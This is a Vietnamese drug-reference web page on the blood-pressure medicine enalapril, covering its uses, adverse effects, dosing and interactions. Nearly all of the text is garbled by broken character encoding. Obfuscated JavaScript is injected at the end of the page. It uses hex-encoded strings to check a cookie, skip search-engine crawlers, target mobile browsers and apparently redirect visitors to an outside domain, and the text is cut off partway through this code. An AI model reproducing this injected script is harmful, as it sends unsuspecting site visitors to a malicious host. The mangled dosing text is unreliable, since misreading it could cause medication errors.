ENALAPRIL Thua��c cha��ng tA?ng huya??t A?p, nhA?m a��c cha?? men chuya�?n angiotensin.

ENALAPRIL Thuốc chống tăng huyết áp, nhóm ức chế men chuyển angiotensin.

Tracuuthuoctay chia sa?� bA�i via??tA� ENALAPRIL Thua��c cha��ng tA?ng huya??t A?p, nhA?m a��c cha?? men chuya�?n angiotensin.A�lA� gA�? giA? thua��c bao nhiA?u? cha�� A�a��nh, cA?ch sa�� da�?ng, tA?c da�?ng pha�? thua��c ENALAPRILTA?ng huya??t A?p.Suy tim (gia??m ta�� vong vA� bia??n cha��ng a�Y ng?�a�?i suy tim cA? tria��u cha��ng vA� ng?�a�?i loa??n nA?ng tha??t trA?i khA?ng tria��u cha��ng).Sau nha��i mA?u c?? tim (huya??t A�a��ng ha�?c A�A? a��n A�a��nh).Ba��nh tha?�n do A�A?i thA?o A�?�a�?ng (tA?ng hoa?�c khA?ng tA?ng huya??t A?p).Suy tha?�n tua?�n tia??n ma??n.

ENALAPRIL Thua��c cha��ng tA?ng huya??t A?p, nhA?m a��c cha?? men chuya�?n angiotensin.

TA?n chung qua��c ta??: Enalapril.

MA? ATC: C09A A02.

Loa??i thua��c: Thua��c cha��ng tA?ng huya??t A?p, nhA?m a��c cha?? men chuya�?n angiotensin.

GiA? thua��c ENALAPRIL : BA�nh lua?�n cua��i bA�i via??t A�a�? A�?�a�?c thA?ng bA?o giA?

Da??ng thua��c vA� hA�m l?�a�?ng

  • Enalapril maleat:
  • ViA?n nA�n 2,5 mg, 5 mg, 10 mg, 20 mg.
  • Cha?? pha?�m ka??t ha�?p ca��a enalapril maleat:
  • ViA?n nA�n 5 mg va��i 12,5 mg hydroclorothiazid; 10 mg va��i 25 mg hydroclorothiazid.

D?�a�?c lA? vA� c?? cha?? tA?c da�?ng

  • Enalapril lA� thua��c a��c cha?? men chuya�?n angiotensin, cA? tA?c da�?ng nha�? enalaprilat lA� cha??t chuya�?n hA?a ca��a enalapril sau khi ua��ng. Enalapril lA�m gia??m huya??t A?p a�Y ng?�a�?i huya??t A?p bA�nh th?�a�?ng, ng?�a�?i tA?ng huya??t A?p, vA� cA? tA?c da�?ng ta��t A�a??n huya??t A�a��ng a�Y ng?�a�?i suy tim sung huya??t, cha�� ya??u doA�a��c cha?? ha�� renin – angiotensin – aldosteron. Enalapril ngA?n ca??n angiotensin I chuya�?n thA�nh angiotensin II (cha??t gA?y co ma??ch ma??nh) nha�? a��c cha?? men chuya�?n angiotensin (ACE). Enalapril cA�ng lA�m gia??m aldosteron huya??t thanh da?�n A�a??n gia??m gia�? natri, lA�m tA?ng ha�� giA?n ma??ch kallikrein – kinin vA� cA? tha�? lA�m thay A�a��i chuya�?n hA?a cha??t prostanoid vA� a��c cha?? ha�� tha?�n kinh giao ca??m. VA� enzym chuya�?n A�a��i angiotensin gia�? ma��t vai trA? quan tra�?ng phA?n ha��y kinin, nA?n enalapril cA�ng a��c cha?? phA?n ha��y bradykinin. VA� bradykinin cA�ng lA� 1 cha??t gA?y giA?n ma??ch ma??nh, hai tA?c da�?ng nA�y ca��a enalapril cA? tha�? gia??i thA�ch ta??i sao khA?ng cA? ma��i liA?n quan ta�� la�� thua?�n gia�?a na��ng A�a�� renin vA� A�A?p a��ng lA?m sA�ng va��i A�ia�?u tra�� enalapril.A�ng?�a�?i tA?ng huya??t A?p, enalapril lA�m gia??m huya??t A?p ba?�ng cA?ch lA�m gia??m sa��c ca??n toA�n ba�� ngoa??i vi kA?m theo tA?ng nha?? hoa?�c khA?ng tA?ng ta?�n sa�� tim, l?�u l?�a�?ng tA?m thu hoa?�c l?�u l?�a�?ng tim. Thua��c gA?y giA?n A�a��ng ma??ch vA� cA? tha�? ca?? tA�nh ma??ch. Enalapril th?�a�?ng lA�m gia??m huya??t A?p tA?m thu vA� tA?m tr?�??ng khoa??ng 10 – 15% a�Y ca?? hai t?� tha?? na?�m vA� nga�� Ha?? huya??t A?p t?� tha?? A�a��ng vA� nha��p tim nhanh A�t khi xa??y ra, nh?�ng th?�a�?ng hay ga?�p h??nA�ng?�a�?i gia??m natri mA?u hoa?�c gia??m tha�? tA�ch mA?u.
  • a�z ng?�a�?i suy tim sung huya??t, enalapril, th?�a�?ng pha��i ha�?p va��i glycosid tim vA� thua��c la�?i tia�?u, lA�m gia??m sa��c ca??n toA�n ba�� ngoa??i vi, A?p la��c A�a��ng ma??ch pha��i bA�t, kA�ch th?�a��c tim, vA� A?p la��c A�a��ng ma??ch trung bA�nh vA� A?p la��cA�nhA� pha??i. Cha�� sa�� tim, cung l?�a�?ng tim, tha�? tA�ch tA?m thu vA� dung na??p ga??ng sa��c gia tA?ng. Enalapril gia??m ha?�u gA?nh ba�� tA?ng cao. PhA� A�a??i tha??t trA?i gia??m sau 2 – 3 thA?ng dA?ng thua��c a��c cha?? enzym chuya�?n angiotensin, vA� angiotensin II lA� 1 cha??t kA�ch thA�ch ma??nh tA?ng tr?�a�Yng c?? tim.
  • L?�u l?�a�?ng mA?u tha?�n cA? tha�? tA?ng, nh?�ng A�a�� la�?c ca?�u tha?�n th?�a�?ng khA?ng A�a��i trong quA? trA�nh A�ia�?u tra�� ba?�ng enalapril. Nit?? urA? mA?u (BUN) vA� creatinin huya??t thanh A�A?i khi tA?ng khi A�ia�?u tra�� ba?�ng enalapril lA?u dA�i, nh?�ng hay ga?�p h??n a�Y ng?�a�?i cA? ta��n th?�??ng tha?�n ta�� tr?�a��c hoa?�c a�Y ng?�a�?i tA?ng huya??t A?p do ma??ch tha?�n. NgoA�i ra, cha��c nA?ng tha?�n cA? tha�? xa??u A�i rA� ra��t trong khi A�ia�?u tra�� ba?�ng thua��c a��c cha?? ACE a�Y ng?�a�?i cA? tha?�n t?�a��i mA?u kA�m ba�� na?�ng ta�� tr?�a��c.
  • a�Y ng?�a�?i A�A?i thA?o A�?�a�?ng, enalapril A�A? cha��ng ta�? lA�m gia??m bA�i tia??t protein – nia��u. Enalapril cA�ng A�A? cha��ng ta�? lA�m tA?ng A�a�� nha??y ca??m va��i insulin a�Y ng?�a�?i tA?ng huya??t A?p ba�� hoa?�c khA?ng ba�� A�A?i thA?o A�?�a�?ng.
  • Enalapril khA?ng lA�m gia??m chuya�?n hA?a lipid ba??t ca�� ma��c A�a�� nA�o.

D?�a�?c A�a��ng ha�?c

  • Sau khi ua��ng, khoa??ng 60% lia�?u enalapril A�?�a�?c ha??p thu ta�� A�?�a�?ng tiA?u A�hA?a. Na��ng A�a�� A�a��nh ca��a thua��c trong huya??t thanh A�a??t A�?�a�?c trong vA?ng 0,5– 1,5 gia�?. Na��a A�a�?i tha??i tra�� ca��a thua��c khoa??ng 11 gia�?. TA?c da�?ng huya??t A�a��ng ha�?c kA�o dA�i khoa??ng 24 gia�?. Tha��c A?n khA?ng a??nh h?�a�Yng ta��i ha??p thu thua��c. Sau khi ha??p thu, enalapril A�?�a�?c tha��y phA?n nhia�?u a�Y gan thA�nh enalaprilat. Na��ng A�a�� A�a��nh ca��a enalaprilat trong huya??t thanh xua??t hia��n trong vA?ng 3 A�a??n 4 gia�?.
  • Ua��ng ma��t lia�?u enalapril th?�a�?ng lA�m ha?? huya??t A?p rA� khoa??ng 1 gia�? sau khi ua��ng, ha?? ta��i A�a trong 4 – 6 gia�? vA� th?�a�?ng kA�o dA�i trong vA?ng 12 – 24 gia�?. Huya??t A?p cA? tha�? gia??m ta�� ta�� vA� pha??i A�ia�?u tra�� ma��t sa�� tua?�n ma��i A�a??tA�A�?�a�?c tA?c da�?ng A�a?�y A�a��.
  • TA?c da�?ng huya??t A�a��ng ca��a enalapril ba??t A�a?�u cha?�m h??n vA� kA�o dA�i h??n so va��i captopril. a�z ng?�a�?i suy tim sung huya??t, tA?c da�?ng huya??t A�a��ng ca��a enalapril rA� trong vA?ng 2 – 4 gia�? vA� cA? tha�? kA�o dA�i 24 gia�? sau khi ua��ng ma��t lia�?u.
  • Khoa??ng 50 – 60% enalapril liA?n ka??t va��i protein huya??t t?�??ng.
  • Khoa??ng 60% lia�?u ua��ng bA�i tia??t vA�o n?�a��c tia�?u a�Y da??ng enalaprilat vA� da??ng khA?ng chuya�?n hA?a, pha?�n cA?n la??i ca��a thua��c A�A�o tha??i theo phA?n.

Cha�� A�a��nh thuA?cA�ENALAPRIL

  • TA?ng huya??t A?p.
  • Suy tim (gia??m ta�� vong vA� bia??n cha��ng a�Y ng?�a�?i suy tim cA? tria��u cha��ng vA� ng?�a�?i loa??n nA?ng tha??t trA?i khA?ng tria��u cha��ng).
  • Sau nha��i mA?u c?? tim (huya??t A�a��ng ha�?c A�A? a��n A�a��nh).
  • Ba��nh tha?�n do A�A?i thA?o A�?�a�?ng (tA?ng hoa?�c khA?ng tA?ng huya??t A?p).
  • Suy tha?�n tua?�n tia??n ma??n.

Cha��ng cha�� A�a��nh

  • Da�� a��ng hoa?�c quA? ma?�n va��i thua��c.
  • PhA? ma??ch khi ma��i ba??t A�a?�u A�ia�?u tra�� nh?� cA?c cha??t a��c cha?? ACE nA?i chung.
  • Ha??p A�a��ng ma??ch tha?�n hai bA?n tha?�n hoa?�c ha??p A�a��ng ma??ch tha?�n a�Y ng?�a�?i cha�� cA? ma��t tha?�n.
  • Ha??p van A�a��ng ma??ch cha��, vA� ba��nh c?? tim ta??c ngha??n na?�ng.
  • Ha?? huya??t A?p cA? tr?�a��c.

Tha?�n tra�?ng

  • Ng?�a�?i gia??m cha��c nA?ng tha?�n.
  • A?a��i va��i ng?�a�?i nghi ba�� ha??p A�a��ng ma??ch tha?�n, ca?�n pha??i A�a��nh l?�a�?ng creatinin mA?u tr?�a��c khi ba??t A�a?�u A�ia�?u tra��.

Tha�?i ka�? mang thai

  • Gia��ng cA?c cha??t a��c cha?? ACE khA?c, enalapril cA? tha�? gA?y ba��nh vA� ta�� vong cho thai nhi vA� tra?� s?? sinh khi ng?�a�?i ma?? mang thai sa�� da�?ng thua��c.
  • Sa�� da�?ng thua��c trong 3 thA?ng gia�?a vA� 3 thA?ng cua��i ca��a thai ka�? cA? tha�? gA?y ba��nh da?�n A�a??n cha??t thai vA� ta��n th?�??ng cho tra?� s?? sinh, ga��m: Ha?? huya??t A?p, gia??m sa??n sa�? s?? sinh, suy tha?�n ha��i pha�?c hoa?�c khA?ng ha��i pha�?c vA� ta�� vong.
  • Pha??i nga��ng dA?ng enalapril cA�ng sa��m cA�ng ta��t sau khi phA?t hia��n cA? thai.

Tha�?i ka�? cho con bA?

  • Enalapril bA�i tia??t vA�o sa�?a ma??. Va��i lia�?u A�ia�?u tra�� thA?ng th?�a�?ng, nguy c?? va�? tA?c da�?ng cA? ha??i cho tra?� bA? sa�?a ma?? ra??t tha??p.

TA?c da�?ng khA?ng mong mua��n (ADR)

ADR th?�a�?ng nha?? vA� thoA?ng qua, nh?�ng cA? khoa??ng 3% A�a??n 6% ng?�a�?i dA?ng thua��c pha??i nga��ng A�ia�?u tra��.

A?A? cA? bia�?u hia��n ha?? huya??t A?p tria��u cha��ng khA? na?�ng sau khi dA?ng lia�?u enalapril A�a?�u tiA?n; cA? A�a??n 2 – 3% sa�� ng?�a�?i trong cA?c tha�� nghia��m lA?m sA�ng pha??i nga��ng A�ia�?u tra��, A�a?�c bia��t va��i nha�?ng ng?�a�?i suy tim, ha?? natri huya??t, vA� va��i ng?�a�?i cao tua��i A�?�a�?c A�ia�?u tra�� A�a��ng tha�?i va��i thua��c la�?i tia�?u.

a�z ng?�a�?i suy tim sung huya??t th?�a�?ng xua??t hia��n ha?? huya??t A?p tria��u cha��ng, cha��c nA?ng tha?�n xa??u A�i vA� tA?ng na��ng A�a�� kali huya??t thanh, A�a?�c bia��t trong tha�?i gian A�a?�u dA?ng enalapril a�Y ng?�a�?i A�ia�?u tra�� A�a��ng tha�?i va��i thua��c la�?i tia�?u.

Cha��c nA?ng tha?�n xa??u A�i (tA?ng nha??t tha�?i urA? vA� tA?ng na��ng A�a�� creatinin huya??t thanh) A�A? xa??y ra a�Y khoa??ng 20% ng?�a�?i tA?ng huya??t A?p do ba��nh tha?�n, A�a?�c bia��t a�Y nha�?ng ng?�a�?i ha??p A�a��ng ma??ch tha?�n hai bA?n hoa?�c ha??p A�a��ng ma??ch tha?�n a�Y ng?�a�?i cha�� cA? ma��t tha?�n.

Th?�a�?ng ga?�p, ADR > 1/100

Ha�� tha?�n kinh: Nha��c A�a?�u, chA?ng ma?�t, ma��t ma�?i, ma??t nga��, da�� ca??m, loa??n ca??m.

TiA?u hA?a: Ra��i loa??n va�� giA?c, a��a cha??y, bua��n nA?n, nA?n vA� A�au ba�?ng.

Tim ma??ch: PhA? ma??ch, ha?? huya??t A?p na?�ng, ha?? huya??t A?p t?� tha?? A�a��ng, nga??t,

A�A?nh tra��ng nga��c, vA� A�au nga��c.

Da: PhA?t ban.

HA? ha??p: Ho khan, cA? tha�? do tA?ng kinin a�Y mA? hoa?�c prostaglandin a�Y pha��i.

KhA?c: Suy tha?�n.

A?t ga?�p: 1/1000 < ADR <1/100

Huya??t ha�?c: Gia??m hemoglobin vA� hematocrit, gia??m ba??ch ca?�u ha??t, gia??m ba??ch ca?�u trung tA�nh.

Nia��u: Protein nia��u.

Ha�� tha?�n kinh trung ?�??ng: Ha��t hoa??ng, kA�ch A�a��ng, tra?�m ca??m na?�ng.

Hia??m ga?�p, ADR <1/1000

TiA?u hA?a: Ta??c rua��t, viA?m ta�?y, viA?m gan nhia��m A�a��c a�� ma?�t, tA?ng ca??m niA?m ma??c mia��ng.

KhA?c: QuA? ma?�n, tra?�m ca??m , nhA�n ma�?, nga??t mA�i, A�au c??, co tha??t pha?? qua??n vA� hen.

H?�a��ng da?�n cA?ch xa�� trA� ADR

  • Khi ba??t A�a?�u A�ia�?u tra��, nA?n dA?ng thua��c va��i lia�?u tha??p vA� kia�?m tra na��ng A�a�� natri huya??t thanh.
  • CA? tha�? xa??y ra phA? ma??ch, A�a?�c bia��t sau khi dA?ng lia�?u enalapril A�a?�u tiA?n, vA� na??u cA? thA?m phA? thanh qua??n cA? tha�? gA?y ta�� vong. Ca?�n thA?ng bA?o cho ng?�a�?i ba��nh va�? nha�?ng da??u hia��u vA� tria��u cha��ng ca��a phA? ma??ch (phA? ma?�t, ma??t, mA?i, l?�a�?i, hoa?�c khA? tha�Y), khi tha??y cA? tria��u cha��ng nA�y pha??i nga��ng dA?ng thua��c vA� thA?ng bA?o ngay cho bA?c sa�?. A?ia�?u tra�� phA? ma??ch a�Y l?�a�?i, thanh mA?n hoa?�c thanh qua??n, bao ga��m cA?c bia��n phA?p sau:
  • Nga��ng dA?ng enalapril vA� cho ng?�a�?i ba��nh vA�o via��n; tiA?m adrenalin d?�a��i da; tiA?m tA�nh ma??ch diphenhy-dramin hydroclorid; tiA?m tA�nh ma??ch hydrocortison.
  • A?a��nh ka�? theo dA�i vA� A�a??m ba??ch ca?�u a�Y ng?�a�?i ba��nh sa�� da�?ng enalapril, A�a?�c bia��t a�Y ng?�a�?i suy tha?�n.
  • Pha??i theo dA�i huya??t A?p vA� cha��c nA?ng tha?�n cha?�t cha?? tr?�a��c vA� sau khi ba??tA�A�a?�u A�ia�?u tra��.
  • Na??u khA?ng A�a??t A�?�a�?c A�A?p a��ng A�ia�?u tra�� A�a�� trong vA?ngA�4 tua?�n, nA?n tA?ng lia�?u dA?ng hoa?�c A�ia�?u tra�� thA?m ba?�ng nha�?ng thua��c cha��ng tA?ng huya??t A?p khA?c.
  • Khi cA? ha?? huya??t A?p na?�ng ca?�n truya�?n tA�nh ma??ch natri clorid 0,9%.
  • Enalapril th?�a�?ng khA?ng a??nh h?�a�Yng A�a??n na��ng A�a�� kali huya??t thanh. Na??u dA?ng enalapril cA?ng va��i thua��c la�?i nia��u cA? tha�? gia??m nguy c?? gia??i phA?ng aldosteron tha�� phA?t cA?ng va��i ha?? kali mA?u. a�z ng?�a�?i suy tha?�n, enalapril cA? tha�? gA?y tA?ng na��ng A�a�� kali huya??t thanh. Ba�Yi va?�y, khA?ng khuya??n cA?o dA?ng thua��c la�?i nia��u gia�? kali vA� thua��c ba�� sung kali cho ng?�a�?i ba��nh gia??m cha��c nA?ng tha?�n vA� cA? tha�? lA�m tA?ng kali mA?u. Na??u va?�n ca?�n pha??i A�ia�?u tra��A�A�a��ng tha�?i va��i thua��c la�?i nia��u, pha??i ha??t sa��c tha?�n tra�?ng vA� th?�a�?ng xuyA?nA�A�o kali huya??t. Ca?�n pha??i A�o creatinin huya??t tr?�a��c khi ba??t A�a?�u A�ia�?u tra�� thua��c cho ng?�a�?i ba��nh cA? nghi nga�? ha??p A�a��ng ma??ch tha?�n.
  • Trong pha?�u thua?�t la��n hoa?�c trong khi gA?y mA? ba?�ng thua��c cA? tA?c da�?ng ha?? huya??t A?p, enalapril cA? tha�? ngA?n ca??n ta??o angiotensin II, sau khi cA? gia??i phA?ng renin bA? tra�� da?�n A�a??n ha?? huya??t A?p ka��ch phA?t, ca?�n A�?�a�?c A�ia�?u cha��nh ba?�ng tA?ng tha�? tA�ch tua?�n hoA�n.

Lia�?u l?�a�?ng vA� cA?ch dA?ng

  • Lia�?u l?�a�?ng ca��a thua��c pha??i A�?�a�?c A�ia�?u cha��nh tA?y theo ta��ng cA? tha�?.
  • TA?ng huya??t A?p vA? cA?n: Lia�?u kha�Yi A�a?�u th?�a�?ng dA?ng cho ng?�a�?i la��n lA� 2,5 – 5 mg/ngA�y. A?ia�?u cha��nh lia�?u theo A�A?p a��ng va�? huya??t A?p ca��a ng?�a�?i ba��nh. Lia�?u duy trA� thA?ng th?�a�?ng ta�� 10 – 20 mg, ua��ng ma��t la?�n hA�ng ngA�y; gia��i ha??n lia�?u thA?ng th?�a�?ng cho ng?�a�?i la��n: 40 mg/ngA�y.
  • A?ia�?u tra�� A�a��ng tha�?i va��i thua��c la�?i tia�?u: Nga��ng thua��c la�?i tia�?u (na??u cA? tha�?) trong 1 – 3 ngA�y tr?�a��c khi ba??t A�a?�u A�ia�?u tra�� ba?�ng thua��c a��c cha?? ACE, vA� ca?�n thia??t pha??i dA?ng thua��c va��i lia�?u ban A�a?�u ra??t tha??p, 5 mg hoa?�c A�t h??n trong 24 gia�?. TA?ng da?�n lia�?u ma��t cA?ch tha?�n tra�?ng theo A�A?p a��ng A�ia�?u tra��.
  • Suy tim: NA?n dA?ng enalapril A�a��ng tha�?i va��i thua��c la�?i tia�?u, theo dA�i A�ia�?u tra�� ngay ta�� A�a?�u do bA?c sa�? A�ia�?u tra�� cA? kinh nghia��m. Na??u ng?�a�?i ba��nh cA? suy tim na?�ng (A�a�� 4), suy gia??m cha��c nA?ng tha?�n vA�/hoa?�c chia�?u h?�a��ng ba??t th?�a�?ng va�? A�ia��n gia??i thA� pha??i A�?�a�?c theo dA�i ca?�n tha?�n ta??i ba��nh via��n ngay ta�� khi ba??t A�a?�u A�ia�?u tra��. NguyA?n ta??c nA�y cA�ng A�?�a�?c A?p da�?ng khi pha��i ha�?p va��i cA?c thua��c giA?n ma??ch. Lia�?u phA? ha�?p trong tua?�n A�a?�u lA� 2,5 mg dA?ng ma��t la?�n hA�ng ngA�y trong 3 ngA�y A�a?�u, dA?ng 2,5 mg hai la?�n hA�ng ngA�y A�trong 4 ngA�y tia??p theo. Sau A�A? cA? tha�? tA?ng lia�?u da?�n ta��i lia�?u duy trA� bA�nh A�th?�a�?ng 20 mg hA�ng ngA�y, dA?ng ma��t la?�n hoa?�c chia thA�nh 2 la?�n dA?ng vA�o
  • bua��i sA?ng vA� bua��i ta��i. Trong ma��t sa�� hia??m tr?�a�?ng ha�?p, cA? tha�? pha??i tA?ng lia�?u ta��i 40 mg hA�ng ngA�y. A?ia�?u cha��nh lia�?u trong 2 – 4 tua?�n.
  • Suy cha��c nA?ng tha??t trA?i khA?ng tria��u cha��ng: Lia�?u ban A�a?�u lA� 2,5 mg dA?ng 2 la?�n hA�ng ngA�y vA�o bua��i sA?ng vA� bua��i ta��i; A�ia�?u cha��nh lia�?u liA?n ta�?c cho ta��i lia�?u phA? ha�?p nh?� A�A? mA? ta?? a�Y trA?n, ta��i lia�?u 20 mg/24 gia�?, chia thA�nh 2 la?�n, dA?ng vA�o bua��i sA?ng vA� bua��i ta��i. Pha??i theo dA�i huya??t A?p vA� cha��c nA?ng tha?�n cha?�t cha?? tr?�a��c vA� sau khi ba??t A�a?�u A�ia�?u tra�� A�a�? trA?nh ha?? huya??t A?p na?�ng vA� suy tha?�n. Na??u cA? tha�?, nA?n gia??m lia�?u thua��c la�?i nia��u tr?�a��c khi ba??t A�a?�u A�ia�?u tra�� ba?�ng enalapril. NA?n theo dA�i na��ng A�a�� kali huya??t thanh vA� A�ia�?u cha��nh va�? ma��c bA�nh th?�a�?ng.
  • A?A? cA? tr?�a�?ng ha�?p ha?? huya??t A?p tria��u cha��ng na?�ng sau khi dA?ng lia�?u enalapril A�a?�u tiA?n vA� cA? 2 – 3% sa�� ng?�a�?i trong tha�� nghia��m lA?m sA�ng pha??i nga��ng A�ia�?u tra��. Ha?? huya??t A?p ban A�a?�u th?�a�?ng khA?ng cA? nghA�a lA� tA?c da�?ng nA�y sa?? duy trA� trong sua��t A�a�?t A�ia�?u tra��.
  • A?a��i va��i gia??m cha��c nA?ng tha?�n: Ca?�n pha??i gia??m lia�?u hoa?�c kA�o dA�i khoa??ng cA?ch gia�?a cA?c lia�?u:
  • Enalapril A�?�a�?c loa??i tra�� ba?�ng tha?�m tA?ch mA?u. DA?ng 2,5 mg enalapril trong ngA�y tha?�m tA?ch mA?u cho ng?�a�?i ba��nh gia??m cha��c nA?ng tha?�n na?�ng
  • A�?�a�?c A�ia�?u tra�� ba?�ng tha?�m tA?ch mA?u. Nha�?ng ngA�y tia??p theo A�ia�?u cha��nh lia�?u theo huya??t A?p.
  • Ca?�n pha??i A�ia�?u cha��nh lia�?u A�a?�c bia��t trong khi A�ia�?u tra�� ka??t ha�?p va��i cA?c thua��c ha?? huya??t A?p khA?c.
  • Trong vA?ng 4 tua?�n, na??u khA?ng A�a??t A�?�a�?c ka??t qua?? A�ia�?u tra��, pha??i tA?ng lia�?u hoa?�c pha??i cA?n nha??c dA?ng thA?m thua��c cha��ng tA?ng huya??t A?p khA?c.
  • Tra?� em: Ch?�a cA? cha��ng minh va�? sa�� an toA�n vA� hia��u qua?? khi dA?ng thua��c cho tra?� em.

T?�??ng tA?c thua��c

  • Sa�� da�?ng enalapril A�a��ng tha�?i va��i ma��t sa�� thua��c giA?n ma??ch khA?c (vA� da�? nitrat) hoa?�c cA?c thua��c gA?y mA? cA? tha�? gA?y ha?? huya??t A?p tra?�m tra�?ng. Ba�Yi va?�y trong tr?�a�?ng ha�?p A�A? nA?n theo dA�i ng?�a�?i ba��nh cha?�t cha?? vA� A�ia�?u cha��nh ba?�ng tA?ng tha�? tA�ch tua?�n hoA�n (truya�?n da��ch).
  • Sa�� da�?ng enalapril A�a��ng tha�?i va��i thua��c la�?i tia�?u tha��nh thoa??ng cA? tha�? gA?y ha?? huya??t A?p quA? ma��c sau khi ba??t A�a?�u A�ia�?u tra�� va��i enalapril. Trong tr?�a�?ng ha�?p A�A? nA?n nga��ng dA?ng thua��c la�?i tia�?u hoa?�c tA?ng dA?ng mua��i lA?n tr?�a��c khi ba??t A�a?�u A�ia�?u tra�� va��i enalapril.
  • Sa�� da�?ng enalapril A�a��ng tha�?i va��i cA?c thua��c gA?y gia??i phA?ng renin: TA?c da�?ng ha?? huya??t A?p ca��a enalapril tA?ng lA?n ba�Yi cA?c thua��c gA?y gia??i phA?ng renin cA? tA?c da�?ng cha��ng tA?ng huya??t A?p (vA� da�? thua��c la�?i tia�?u).
  • Sa�� da�?ng enalapril A�a��ng tha�?i va��i cA?c thua��c lA�m tA?ng kali huya??t thanh, vA� da�? khi sa�� da�?ng A�a��ng tha�?i enalapril va��i cA?c thua��c la�?i nia��u gia�? kali, cA?c cha??t ba�� sung kali hoa?�c mua��i cha��a kali, cA? tha�? gA?y tA?ng kali huya??t thanh,
  • A�a?�c bia��t a�Y ng?�a�?i suy tha?�n, do A�A? nA?n theo dA�i ng?�a�?i ba��nh cha?�t cha?? vA� th?�a�?ng xuyA?n theo dA�i na��ng A�a�� kali huya??t.
  • Sa�� da�?ng enalapril A�a��ng tha�?i va��i lithi cA? tha�? lA�m tA?ng na��ng A�a�� lithi huya??t da?�n A�a??n nhia��m A�a��c lithi.
  • Sa�� da�?ng enalapril A�a��ng tha�?i va��i cA?c thua��c giA?n pha?? qua??n kia�?u giao ca??m, cA?c thua��c cha��ng viA?m khA?ng steroid (NSAID) cA? tha�? lA�m gia??m tA?c da�?ng ha?? huya??t A?p ca��a enalapril.
  • Sa�� da�?ng enalapril A�a��ng tha�?i va��i cA?c thua��c ua��ng trA?nh thai gA?y tA?ng nguy c?? ta��n th?�??ng ma??ch vA� khA? kia�?m soA?t huya??t A?p.
  • Sa�� da�?ng enalapril A�a��ng tha�?i va��i cA?c thua��c cha??n beta – adrenergic, methyldopa, cA?c nitrat, thua��c cha??n calci, hydralazin, prazosin, vA� digoxin khA?ng cho tha??y tA?c da�?ng pha�? cA? A? nghA�a lA?m sA�ng.

A?a�� a��n A�a��nh vA� ba??o qua??n

  • Ba??o qua??n enalapril trong nha�?ng bao bA� kA�n, a�Y n??i khA? vA� nhia��t A�a�� d?�a��i 30oC.

QuA? lia�?u vA� xa�� trA�

  • TA�i lia��u va�? quA? lia�?u ca��a enalapril a�Y ng?�a�?i cA?n ha??n cha??. A?a?�c A�ia�?m na��i ba?�t ca��a quA? lia�?u enalapril lA� ha?? huya??t A?p na?�ng. Khi quA? lia�?u xa??y ra, nA?n nga��ng A�ia�?u tra�� ba?�ng enalapril vA� theo dA�i ng?�a�?i ba��nh cha?�t cha??, A?p da�?ng cA?c bia��n phA?p A�ia�?u tra�� tria��u cha��ng vA� ha�� tra�? nh?� gA?y nA?n, ra��a da?? dA�y, truya�?n tA�nh ma??ch huya??t t?�??ng vA� natri clorid A�a�? duy trA� huya??t A?p vA� A�ia�?u tra�� ma??t cA?n ba?�ng A�ia��n gia??i. Tha?�m tA?ch mA?u cA? tha�? loa??i enalapril kha�?i tua?�n hoA�n.

ThA?ng tin qui cha??

  • Enalapril cA? trong danh ma�?c thua��c thia??t ya??u Via��t Nam ban hA�nh la?�n tha��A�4 nA?m 1999.

Thua��c A�a��c ba??ng B.

  • ThA�nh pha?�m gia??m A�a��c: Thua��c viA?n cA? hA�m l?�a�?ng ta��i A�a 10 mg.

Ngua��n d?�a�?c th?� qua��c gia

Tham kha??o hA�nh a??nh cA?c dA?ng thua��c ENALAPRIL Thua��c cha��ng tA?ng huya??t A?p, nhA?m a��c cha?? men chuya�?n angiotensin.

ENALAPRIL Thua��c cha��ng tA?ng huya??t A?p, nhA?m a��c cha?? men chuya�?n angiotensin. ENALAPRIL Thua��c cha��ng tA?ng huya??t A?p, nhA?m a��c cha?? men chuya�?n angiotensin. ENALAPRIL Thua��c cha��ng tA?ng huya??t A?p, nhA?m a��c cha?? men chuya�?n angiotensin.

Vui lA?ng A�a?�t cA?u ha�?i va�? bA�i via??t ENALAPRIL Thua��c cha��ng tA?ng huya??t A?p, nhA?m a��c cha?? men chuya�?n angiotensin., chA?ng tA?i sa?? tra?? la�?i nhanh chA?ngvar _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( 